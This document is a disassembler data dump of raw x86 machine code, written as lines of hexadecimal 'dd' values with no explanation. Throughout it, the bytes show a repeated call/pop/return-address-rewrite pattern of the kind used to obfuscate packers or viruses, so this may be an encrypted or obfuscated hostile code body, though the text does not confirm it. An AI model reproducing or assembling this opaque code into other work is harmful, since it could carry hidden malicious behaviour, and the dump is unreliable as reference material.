		dd 0C7E4C4D1h, 0D0B1458Ah, 4E39C4D1h, 4E8CE08Dh, 9C5AE095h
		dd 5887F369h, 4C733BD1h, 38CDE095h, 2165A231h, 0C718813Eh
		dd 0C73A2C82h, 9CBCC4D1h, 9BC79F12h, 83A6C0F5h,	0C784C0F5h
		dd 948AC4D1h, 0B2DEAF12h, 0D2C74F90h, 0A63FF3FFh, 0F7D159D0h
		dd 7AC3C2E6h, 0C11D758Eh, 2C4495Ch, 0F271C2EBh,	0F47CE27Ah
		dd 0F0652554h, 6F6EFD7h, 39A7C638h, 0D1C7E4CCh,	2E93F158h
		dd 16D2EEF0h, 0D1C7972Dh, 1414C4C4h, 0E983BCCBh, 8BA4F305h
		dd 4860FD9h, 66000000h,	6661F9BFh, 0F1D0DF81h, 8DE9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0D6E8533Eh, 8D0FAA30h, 1, 0C8B760F5h, 19840Fh, 13E80000h
		dd 20000000h, 0F8DB9A7Ch, 0B372F737h, 54E26B01h, 0CADD65DCh
		dd 615AF36Fh, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0F092B60Eh, 0F60F9F5h, 1383h, 0EE900h
		dd 6C1D0000h, 8763A9E8h, 83F4191Bh, 0F4346E2Ch,	61FCC880h
		dd 0C08BFCC3h, 1840Fh, 0E9FC0000h, 5, 6458804Dh, 29BD83F8h
		dd 63719h, 0BD830975h, 6371FE1h, 50197400h, 0B8C08B53h
		dd 4B9h, 2A058589h, 9D8D0637h, 639B173h, 585BD3FFh, 1FE1BD83h
		dd 74000637h, 0B8535017h, 4B9h,	2A058589h, 9D8D0637h, 639AE14h
		dd 585BD3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	2FC35141h, 0BE978CCh, 0E4000000h, 617ED9A8h, 62B871E5h
		dd 0EE9B644h, 79000000h, 0DB2D1860h, 540E1925h,	9B2ABBD8h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F5108C40h, 61605060h, 61D08B5Eh, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0E96082C3h, 5, 5D704EC4h, 0AEBB6696h, 8B40616Eh, 458531C1h
		dd 0E806370Bh, 14h, 3627AB5Dh, 0E89D123Ah, 0A701D770h
		dd 672CAAEDh, 0C944DB86h, 128D8D89h, 0EB5F0637h, 4, 0DE900h
		dd 0F4C00000h, 0FD4B66F8h, 34F6D38Dh, 0F99C1B5Ch, 0D18B6660h
		dd 1AB5958Bh, 8D610637h, 37088585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 81231EE4h
		dd 92EE2BE6h, 810F502Ah, 0Ah, 68BA6660h, 84BE6668h, 48961D1h
		dd 98C0F24h, 0F000000h,	38Ah, 0FE8B6600h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 6A0FF4C3h, 5E800h, 4DE80000h, 8BADF778h, 37308DB5h
		dd 858D5F06h, 63AC909h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 9EC35545h, 0E9A20F56h, 76F1193Eh, 5C08384h
		dd 2588EEBFh, 8B665058h, 240489F0h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 6AF284C3h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 56255604h, 0BD89D624h, 637305Dh,	73F99CBEh
		dd 0ED95FF24h, 6A06370Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0CDEEC350h,	2A6D8589h
		dd 9D8D0637h, 63AA135h,	0A1B58B51h, 5F063705h, 13A9BD89h
		dd 0D3FF0637h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0EBC35242h, 0B42ED4E2h,	0F26A3BC7h, 0BE8B7h, 8DDD0000h
		dd 1FFB3433h, 0EC0373BBh, 0F18D8920h, 5F063708h, 2A7D85FFh
		dd 6A0637h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 9AB839C3h, 2AE11BAFh
		dd 0B58BDCF9h, 6372AC1h, 6C0E9h, 0E800h, 815D0000h, 3AC913EDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 931CD428h, 199BD81h, 7D00637h, 860F0000h
		dd 175h, 0DE9h,	0CF57EC00h, 0ED14D63h, 0E9ADDC9Ch, 9D8B3A17h
		dd 63728A1h, 68D0Fh, 85890000h,	6372A39h, 100E381h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0CFACD9C3h, 9D894BEEh, 63709A9h, 850FDB0Bh, 0BDh, 1269B523h
		dd 0BD830637h, 63AC736h, 54840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 89C7C351h, 37195D8Dh, 0B5E906h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 93BD98C3h
		dd 5E8h, 0E8F01100h, 0BE66A9CDh, 0C75EBA35h, 3AC73685h
		dd 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 219A183h,	3D88CD41h, 8589D2F1h, 6371229h
		dd 4EE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 3685C7B1h, 63AC7h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 342C352h, 0D57516ADh, 39BD01D7h, 8D063717h, 3728A19Dh
		dd 890F06h, 0E9000000h,	11h, 0C2852790h, 2B42BAAh, 0EB4A0F0Eh
		dd 990A3D43h, 0FF238197h, 8BFFFFFEh, 370A61BDh,	0DB8C6606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 8AC35141h
		dd 72FB698Bh, 0F04C3F6h, 5384h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0DA354CACh
		dd 0A1583351h, 8995FF60h, 8B063705h, 371C35BDh,	9E85006h
		dd 7B000000h, 0F66CA3F9h, 4421D9Fh, 5F616053h, 2404895Eh
		dd 6820Fh, 85890000h, 63721ADh,	3A2E9h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0B0D98B9Ah, 0EE816600h, 70E6D424h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 59C35747h, 1125E359h, 0A3882343h
		dd 0ACE6816Dh, 0E42FD798h, 51006A71h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0D726056Ah
		dd 0F3DCB67h, 7E9D8B6h,	0E5000000h, 0FD5C9614h,	6BAA628h
		dd 8B000000h, 0F44CBFC3h, 0E8C132DEh, 50006A04h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 5339253Bh, 0F6B70F2Dh, 25CDB50Bh, 0F7660637h, 53006AE2h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0D82BD25Bh, 93D9501h, 89600637h, 3719319Dh, 0E9936106h
		dd 8, 16CA493h,	25EAB76Eh, 0BD8B9350h, 6370905h, 199B5FFh
		dd 0B58B0637h, 6370761h, 321995FFh, 95290637h, 6372BB5h
		dd 8E0Fh, 0B00000h, 17A98589h, 70E60637h, 0F4D8D89h, 71E40637h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 56C35747h
		dd 0E1CC190h, 4820F01h,	66000000h, 3CE4AFBEh, 3C830F61h
		dd 0BF000002h, 476B9CE4h, 81D8B60Fh, 8F2CC5D7h,	6BA15h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0BD3BD0C3h, 28DD284h, 0CE81662Dh,	0C38B139Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0AEC35646h
		dd 5920918Eh, 890DAA14h, 370ED98Dh, 4E8C106h, 2BB58D29h
		dd 0F7660637h, 0FBB70FE2h, 0BF0FD82Bh, 6A58FAh,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0A1EFF1C3h, 880FD82Bh, 19Bh,	0C1850160h, 0F06371Fh
		dd 0B961CABFh, 7, 0FFA8B66h, 68Dh, 65850100h, 83063705h
		dd 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 4738AEC3h, 3B67F3B1h, 50860FD9h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0A627C356h, 8C66E7D7h, 55006AD9h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8D29A827h
		dd 63720A9h, 0F04C1F6h,	0E084h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 1B0F4575h
		dd 21B58B01h, 0FF063700h, 37058995h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B58B0B0Ah
		dd 637049Dh, 8E9F88Bh, 95000000h, 6B19E8FCh, 5B6937DAh
		dd 14E9h, 5014500h, 6D439BCBh, 0EE143D7Dh, 0E39645C2h
		dd 405D2238h, 6AC32BE1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 2F2CC356h, 343DF9ECh
		dd 0F000008h, 3C86h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 28A5663Ah, 6333227Eh
		dd 18D0F11h, 0F5000000h, 2E619589h, 28E90637h, 1000000h
		dd 3704F99Dh, 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0F59EC357h,	8BF1509Eh
		dd 66D88BC3h, 85C7F28Bh, 6372F29h, 1E21D7D3h, 850Fh, 0C08B0000h
		dd 331DBD01h, 0BD810637h, 6370199h, 7D0h, 2E850Fh, 810F0000h
		dd 0
		dd 19985FFh, 6A0637h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 98A556C3h, 88AF316Ah, 199B5FFh
		dd 6A0637h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0DE6D0AC3h, 892C5AB7h, 371749B5h,	1995FF06h
		dd 0F063732h, 0B890F6BFh, 12345678h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0B6C35141h,	0DA8EE952h, 6167CBCh
		dd 0CF789D8Dh, 62E9063Ah, 6AFFFFF9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8939C353h
		dd 3723258Dh, 6AC18B06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0BC8C350h, 81666066h
		dd 60962CC9h, 88ACBA66h, 4EB6161h, 0
		dd 9E8h, 1C7F0300h, 3934396Ch, 0E95FDC2Ch, 0Bh,	4FEBD625h
		dd 6A274FF9h, 8D207CA6h, 37088585h, 0BF0F6006h,	9E9CEh
		dd 0F31E0000h, 0E344A5CAh, 61A95526h, 880F50h, 89000000h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0E81FFAC3h, 0Eh, 0F7805257h, 0B9928945h
		dd 90C5CA93h, 0B58B36C6h, 6370B79h, 8B006A5Eh, 371FE9BDh
		dd 6A006A06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 9F9C352h, 370D5DB5h, 90858D06h
		dd 6A063AD1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 99B2C353h, 0C9D7486Fh,	5C083D4h
		dd 0AD14EE81h, 0BE86156h, 78000000h, 66E6EC6h, 0D3676FBEh
		dd 905E2490h, 0F0AEBA60h, 50611051h, 0BE9h, 64393C00h
		dd 10E098CBh, 0AD053BB8h, 399D8990h, 6A063712h,	91B58B00h
		dd 6A06370Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 21E4A52Ah, 9E9906Ah, 9D000000h, 0EB37FCAAh
		dd 0B6B8E5DEh, 0AED95FFh, 6A0637h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 50AB58C3h, 0FB0B4BA4h
		dd 0FF8D4A4h, 683h, 15BD8B00h, 8D063718h, 3AA1359Dh, 0FD3FF06h
		dd 85FFFBB7h, 6372A7Dh,	330DBD31h, 0E9F50637h, 0E4Ah, 0E8h
		dd 0ED815D00h, 63AD19Ah, 13E9h,	0DD915500h, 0C310915Eh
		dd 14031B01h, 38605904h, 8A7D6839h, 199BD81h, 7D00637h
		dd 860F0000h, 16Fh, 1781B529h, 9D8B0637h, 63731E1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0EC35343h, 81FC1AACh
		dd 100E3h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 1278C05h,	70463397h, 0DDB58BC5h
		dd 0B063721h, 93850FDBh, 0F9000000h, 0CFFDBD83h, 0F00063Ah
		dd 6B84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0CBDAC72Dh, 38333106h, 0ED9D8992h
		dd 0E9063718h, 62h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 82C35040h, 57C0219Ah,	769F4943h, 13E9h
		dd 0A9A24F00h, 0C631E305h, 0C441BB85h, 397A66F9h, 8A9379BAh
		dd 0CFFD85C7h, 1063Ah, 0B58B0000h, 63709F1h, 11E9h, 61F9BF00h
		dd 85C761F4h, 63ACFFDh,	0
		dd 9D8DF38Bh, 63731E1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 22C35040h, 0C772834h,	91BD29EFh, 8B063721h
		dd 37260DB5h, 0FF238106h, 6AFFFFFEh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B6E3C351h
		dd 0C7EE931Dh, 0D9852905h, 0E906371Bh, 7, 0FEEE580Ah, 6637387Eh
		dd 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 7C5BF5C3h, 0F7BF0F87h, 0F04C3F6h,	6584h
		dd 95BE6600h, 8995FF58h, 81063705h, 4D28F3EFh, 10E89008h
		dd 8A000000h, 2133E8C6h, 6540411Fh, 1B341339h, 50E06334h
		dd 0E8310F52h, 8, 6DBFEBA6h, 0EE8D8641h, 5F585A5Eh, 0F38B6650h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 8C4CA90h, 1331B50Bh, 1CE90637h, 50000004h
		dd 25A1BD8Bh, 895E0637h, 3720CD85h, 8900B006h, 370B2195h
		dd 0E5850906h, 0E606371Ah, 50006A70h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8BFA74BBh
		dd 371739B5h, 0F7816606h, 71E47C5Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0F9C35545h,	7F1A41F9h, 0FF0F2EDh
		dd 8960D8B6h, 37179DBDh, 6BA6106h, 50000000h, 1111B58Bh
		dd 8B5F0637h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 66602158h, 185D1BBh, 3713418Dh, 0E7816106h
		dd 11EE561Dh, 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0B90DC357h,	8BF005E4h
		dd 37191DBDh, 0E2F76606h, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0FE170DC3h, 0A9AA98E5h
		dd 0BD8BA6DDh, 63731FDh, 64BF6650h, 241C8932h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6BC35242h, 0B597030Ch
		dd 8B496705h, 99B5FFA6h, 6A063701h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 8331C352h
		dd 0FF23151Bh, 37321995h, 8B666006h, 0D08B66D9h, 6A00B061h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 9181C353h, 9FC2B851h, 49A08DBEh, 6A70E629h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 8E04C357h, 0E428FB8Fh, 0EE9h, 41C7EA00h
		dd 0D20EEF58h, 0D527205Fh, 0E4406FC1h, 0F8B70F71h, 830F613Ch
		dd 243h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	85C35040h, 25471CC8h, 318724CDh, 37017D85h, 0D8B60F06h
		dd 2DD1BD89h, 0D7810637h, 658EF269h, 6BAh, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0B55B0C23h, 2FE23CE1h, 0BEDF8166h, 60C38B3Fh, 0DE8h
		dd 78D56C00h, 0BFC2182Fh, 2293513Ah, 0DA81F776h, 1A864AC3h
		dd 899D035Bh, 61063728h, 0E804E8C1h, 0Eh, 1FA045BCh, 0C78AA236h
		dd 9D10EB21h, 8D893B6Eh, 637255Dh, 0E2F7665Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 67C35040h, 799AEA8Ah
		dd 0F92DB6B3h, 1F19B58Bh, 0D82B0637h, 0D4CA30BFh, 6A582Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 234C12C3h, 81BD03A3h, 0E9063706h, 7,	0D1A6C9C9h, 2B1A5711h
		dd 30880FD8h, 66000001h, 607DA9BFh, 9459D8Bh, 0B58B0637h
		dd 6370D01h, 7B961h, 0BD8B0000h, 6371305h, 0F00C183h, 581h
		dd 86E3BE00h, 0D93B7558h, 0FD860Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 23B063C3h
		dd 2D75FE27h, 0DF81C876h, 2AFD3C59h, 6AD98C66h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0DB25C352h, 46F9E4BDh, 5EBC9CEEh, 0C57C9DBEh, 4C1F617h
		dd 95840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 180424h, 52420000h, 405E2AC3h, 0B70F3F98h, 8995FFF6h
		dd 5B063705h, 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 903FEC3h, 0D2A678E6h, 8B8EDC67h
		dd 371AD5BDh, 1DBD8B06h, 3D06371Dh, 834h, 2D860Fh, 8F0F0000h
		dd 1, 29E9FCh, 6A0000h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 5033E9C3h, 8BB62A7Ch, 0B5B52BC0h
		dd 8B063700h, 66D88BC3h, 85C7F78Bh, 63728A1h, 1D19B9F7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F3C35242h
		dd 222D9D01h, 0C08B0637h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 7FC35343h, 920A2C9Fh,	2BF8DFFCh, 199BD81h
		dd 7D00637h, 850F0000h,	2Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 1EC35545h, 85FF7A81h, 6370199h
		dd 18E0Fh, 0FFF90000h, 370199B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0C5704633h
		dd 0C0A7BE8Eh, 23C18529h, 95FF0637h, 6373219h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 10C35646h, 0A9071F37h
		dd 293350F0h, 0C185897Bh, 9006371Fh, 53006A40h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0E63DC716h
		dd 2A91BD89h, 0BD830637h, 6371975h, 0DF840F00h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0CF22C356h, 0E70E2A04h, 0E58D01B9h, 83063719h
		dd 371B0DBDh, 840F0006h, 0AAh, 263DBD89h, 0AE90637h, 0EC000000h
		dd 0C75F8F12h, 0CC59E83Ch, 7595FFC2h, 0B063719h, 87840FC0h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0A7E6C352h, 600648B8h,	8DB8502Fh
		dd 374E2B8Dh, 0B8FB8B06h, 5, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 8AC35242h, 0C500B961h, 0A959D89h
		dd 0E1FF0637h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	60C35141h, 9F1AE1EBh, 27E08D1h,	87CF8166h, 0BF0F56C0h
		dd 0BD835EF1h, 6370D75h, 0D4840F00h, 6A000005h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 34E7C357h, 2A06D25Fh, 97E30338h, 4C695FBFh, 8D85894Bh
		dd 83063700h, 371B0DBDh, 840F0006h, 597h, 8D8DFB8Bh, 63706C9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3FC35747h
		dd 0C71276D7h, 0B27C8401h, 56006A44h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0A706D960h
		dd 8B9DFC98h, 371BC9BDh, 0CB018106h, 6A1499CFh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 37FBC351h, 4F92CF20h, 0C74E1BC6h, 6B340441h,	6ACE70h
		dd 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F3417C3h, 9F70A090h, 8E9D7h, 0AB480000h, 314FB320h
		dd 41817E9Ah, 0D6D71004h, 6890F31h, 23000000h, 370559B5h
		dd 0F006A06h, 58Ah, 0BC8CBF00h,	858D7DC0h, 63706C9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9DC35747h, 0C1087A9Fh
		dd 90D13B24h, 14E9h, 1F4CAE00h,	0BFBDCCC2h, 9804750Fh
		dd 0D07FA7B3h, 0EBBDE01Bh, 0E990506Ch, 10h, 0C675612Eh
		dd 519A5281h, 0AC27B173h, 568778FDh, 0D7595FFh,	58BF0637h
		dd 8D2B7D16h, 3706C98Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 5CEA5CD5h, 66C343F1h
		dd 0C7A1D2BEh, 1, 0B9BD8B00h, 0F06372Eh, 68Eh, 81B58B00h
		dd 0C706371Bh, 441h, 0C00B0000h, 83840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0FA2E22C3h, 8984A2E0h, 8D487033h, 374E2B8Dh,	6E906h
		dd 0C84C0000h, 8BD08FDDh, 0A45ABF66h, 5B8h, 0CE800h, 0F340000h
		dd 9F70A090h, 0FEB5D6D7h, 960E9FBh, 3708B585h, 61F98B06h
		dd 6AE1FF5Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 335CC357h, 31B311F5h, 372381BDh
		dd 0C98D8D06h, 6A063706h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0C736C355h,	0AA727C01h
		dd 61BE6644h, 0CB018194h, 6A1499CFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 7281C355h
		dd 233587EDh, 0BF86E91Ah, 3347327h, 3C0441C7h, 6ACE7875h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 3170C357h, 370675BDh, 4418106h, 31D6D710h
		dd 28E0Fh, 5E500000h, 537E22BFh, 0E9006A24h, 14h, 2E0F126Ch
		dd 48B9D9BDh, 0EEFB0571h, 878BF83Fh, 67CE04B3h,	0D58589h
		dd 858D0637h, 63706C9h,	0A59B531h, 60500637h, 0F38BE6B2h
		dd 24048961h, 2A019589h, 95FF0637h, 6370D75h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0FAC35747h, 6C98D8Dh
		dd 0BD8B0637h, 6372269h, 1C7h, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0C57BD0C3h
		dd 1FC9E027h, 441C7B9h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 7AC35343h
		dd 0C00BF832h, 5E840Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 985D6AC3h, 8804E5B2h
		dd 4E2B8D8Dh, 9D090637h, 6371C29h, 5EE781h, 5B824C8h, 0F000000h
		dd 0E1FFF0BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	7DC35545h, 0FFBF0F89h, 6C98D8Dh, 6A0637h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 4B762EC3h, 0FC7306EDh, 9509EC2Eh, 6372EA9h, 95A501C7h
		dd 6A54CAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 872E79C3h, 0CB0181FCh, 891499CFh,	372F098Dh
		dd 441C706h, 0CE5F5969h, 1F1DB58Bh, 41810637h, 0D6D71004h
		dd 51006A31h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 9691ECE2h, 399B4957h, 0BD2B68B9h, 6371B01h
		dd 0BD01006Ah, 63709DDh, 6C9858Dh, 0EDBF0637h, 50718ABBh
		dd 4895E51h, 7F83BF24h,	95FF1DE1h, 6370D75h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0DBC35242h, 6EC78157h
		dd 8D5F1A6Ah, 3706C98Dh, 8098BF06h, 0DE83543h, 0B7000000h
		dd 510DD204h, 39CE7E1Ch, 0C75E1BB6h, 30998589h,	0C75E0637h
		dd 1, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0D94EDFE2h, 5DF728B4h, 0C19D2943h
		dd 6006371Fh, 441C761h,	0
		dd 0CE8h, 0ADAC3700h, 456FAC79h, 0B8641871h, 9BD8B1Fh
		dd 5E06370Ch, 840FC00Bh, 6Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0FBC35040h,	8D8D0265h, 6374E2Bh
		dd 11F9B58Bh, 5B80637h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 461EC350h
		dd 39688575h, 8E9h, 86EF0000h, 0A0CDE993h, 0FE1FF97h, 685h
		dd 0A1BD8B00h, 3063720h, 0F1BAE9CAh, 0BE66FFFFh, 0C18BE43Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 1FC35141h
		dd 18AE4386h, 0EBF38B66h, 4, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F62C9EDh
		dd 6AF0BFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0B8B8F7C3h, 0BE668513h, 0FB5C0CFh, 0C87h
		dd 68A0F00h, 8B000000h,	372221B5h, 81B58B06h, 8D06372Dh
		dd 37088585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 51AFB01Fh, 0F2EB7B4Eh, 3DB58BCEh
		dd 29063709h, 371FFD8Dh, 6E85006h, 70000000h, 0B89E8D36h
		dd 8B665109h, 895E5EF0h, 95892404h, 6372939h, 6AF18B66h
		dd 44BE6600h, 6A006ADDh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0FD95C352h,	0F35FEE7h
		dd 9529F1B7h, 6372381h,	0E206858Dh, 6A063Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0B70FADC3h
		dd 5C083F3h, 0B98D3151h, 5E06372Eh, 0C7BE5090h,	9010B4A6h
		dd 6AF0BF0Fh, 219D2900h, 6A063704h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0A2D2C30Bh
